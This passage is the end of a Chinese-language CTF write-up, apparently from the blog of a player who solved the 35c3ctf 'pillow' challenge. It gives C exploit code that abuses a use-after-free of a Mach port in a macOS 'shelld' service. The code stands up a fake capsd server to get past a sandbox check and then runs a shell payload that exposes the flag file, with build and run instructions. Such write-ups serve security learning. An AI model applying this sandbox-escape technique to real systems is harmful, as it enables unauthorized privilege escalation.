// 先提前准备好一个可用的 session
char long_session_name[4096];
memset(long_session_name, 'a', sizeof(long_session_name) - 1);
long_session_name[sizeof(long_session_name) -1] = 0;
shelld_create_session(sp, long_session_name);

// 尝试将 shelld 中的 capsd_service_port 释放
register_completion_listener(sp, "non-exist-session", cp);

// 创建一对新的 listener 和 listener_send_right
mach_port_t listener, listener_send_right;
mach_msg_type_name_t aquired_right;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &listener);
mach_port_extract_right(mach_task_self(), listener, MACH_MSG_TYPE_MAKE_SEND, &listener_send_right, &aquired_right);

/* 启动一个 伪capsd_server
需要注意的是,这里必须创建新的 dispatch queue 给 listener,
因为 main queue 需要调用 dispatch_main 才能使用,但我们仍然需要使用控制流,因此不能调用 dispatch_main */
dispatch_queue_main_t replyQueue = dispatch_queue_create("replyQueue", NULL);
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, listener, 0, replyQueue);
dispatch_source_set_event_handler(source, ^{
dispatch_mig_server(source, MAX_MSG_SIZE, capsd_server);
});
dispatch_resume(source);

// 尝试绕过 sandbox capabilities check
for(size_t cnt = 0; cnt < 10000; ++cnt) {
register_completion_listener(sp, long_session_name, listener_send_right);
// 测试基本功能
const char *payload =
"chmod 777 /Users/kiprey/Desktop/CTF/35c3ctf/pillow/flag "
"&& cp /Users/kiprey/Desktop/CTF/35c3ctf/pillow/flag /tmp/pillow_flag "
"&& open -a TextEdit /tmp/pillow_flag";
kr = shell_exec(sp, long_session_name, payload);
if(kr == KERN_SUCCESS) {
printf("[+] shell_exec success! test %zu times.\n", cnt);

exit(EXIT_SUCCESS);
}
// 如果无法使用,则将该 listener 从 shelld 中删除
unregister_completion_listener(sp, long_session_name);
}

exit(EXIT_FAILURE);
}

编译参数:

1
2
3
CC = clang
myexploit: myexploit.c
$(CC) -g -O0 myexploit.c ../mig/shelldUser.c ../mig/capsdServer.c -o myexploit

在沙箱中执行 exploit:

1
2
3
#!/bin/bash
make
sandbox-exec -f exploit.sb -D EXPLOIT_BIN=/Users/kiprey/Desktop/CTF/35c3ctf/pillow/exploit/myexploit ./myexploit

运行结果:

image-20220108232108975

调试 exp 时,最好每次在执行 exp 前都重启一下 shelld。

六、参考链接

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2024 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~